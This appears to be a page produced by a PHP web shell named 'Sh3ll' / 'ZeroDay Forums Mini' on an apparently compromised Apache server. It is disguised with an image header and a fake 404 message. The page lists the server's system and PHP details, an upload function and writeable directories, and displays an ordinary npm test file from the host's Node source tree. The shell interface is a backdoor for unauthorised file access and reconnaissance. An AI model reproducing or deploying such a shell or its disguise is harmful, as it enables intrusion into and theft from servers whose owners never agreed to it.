����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/npm/test/tap/prepublish-only.js
// verify that prepublishOnly runs _only_ on publish
var join = require('path').join

var mr = require('npm-registry-mock')
var test = require('tap').test
var Tacks = require('tacks')
var File = Tacks.File
var Dir = Tacks.Dir
var path = require('path')

var common = require('../common-tap')

var pkg = common.pkg
var cachedir = common.cache
var tmpdir = join(pkg, 'tmp')

var env = {
  'npm_config_cache': cachedir,
  'npm_config_tmp': tmpdir,
  'npm_config_global': 'false'
}

for (var i in process.env) {
  if (!/^npm_config_/.test(i)) {
    env[i] = process.env[i]
  }
}

var server

var fixture = new Tacks(Dir({
  cache: Dir(),
  tmp: Dir(),
  '.npmrc': File([
    'progress=false',
    'registry=' + common.registry,
    '//localhost:1337/:username=username',
    '//localhost:1337/:_authToken=deadbeeffeed'
  ].join('\n') + '\n'),
  helper: Dir({
    'script.js': File([
      '#!/usr/bin/env node\n',
      'console.log("ok")\n'
    ].join('\n') + '\n'
    ),
    'package.json': File({
      name: 'helper',
      version: '6.6.6',
      bin: './script.js'
    })
  }),
  'package.json': File({
    name: 'npm-test-prepublish-only',
    version: '1.2.5',
    dependencies: {
      'helper': 'file:./helper'
    },
    scripts: {
      build: 'helper',
      prepublishOnly: 'node ' + path.resolve(__dirname, '../../') + ' run build'
    }
  })
}))

test('setup', function (t) {
  fixture.create(pkg)
  mr({port: common.port, throwOnUnmatched: true}, function (err, s) {
    t.ifError(err, 'registry mocked successfully')
    server = s
    common.npm(
      [
        'install',
        '--loglevel', 'error',
        '--cache', cachedir,
        '--tmp', tmpdir
      ],
      {
        cwd: pkg,
        env: env
      },
      function (err, code, stdout, stderr) {
        t.equal(code, 0, 'install exited OK')
        t.ifErr(err, 'installed successfully')

        t.notOk(stderr, 'got stderr data:' + JSON.stringify('' + stderr))

        t.end()
      }
    )
  })
})

test('test', function (t) {
  server.filteringRequestBody(function () { return true })
    .put('/npm-test-prepublish-only', true)
    .reply(201, {ok: true})

  common.npm(
    [
      'publish',
      '--loglevel', 'warn'
    ],
    {
      cwd: pkg,
      env: env
    },
    function (err, code, stdout, stderr) {
      t.equal(code, 0, 'publish ran without error')
      t.ifErr(err, 'published successfully')

      t.notOk(stderr, 'got stderr data:' + JSON.stringify('' + stderr))
      var c = stdout.trim()
      var regex = new RegExp(
        '> [email protected] prepublishOnly [^\\r\\n]+\\r?\\n' +
        '> .* run build\\r?\\n' +
        '\\r?\\n' +
        '\\r?\\n' +
        '> [email protected] build [^\\r\\n]+\\r?\\n' +
        '> helper\\r?\\n' +
        '\\r?\\n' +
        'ok\\r?\\n' +
        '\\+ [email protected]', 'ig'
      )

      t.match(c, regex)
      t.end()
    }
  )
})

test('cleanup', function (t) {
  server.close()
  t.pass('cleaned up')
  t.end()
})

ZeroDay Forums Mini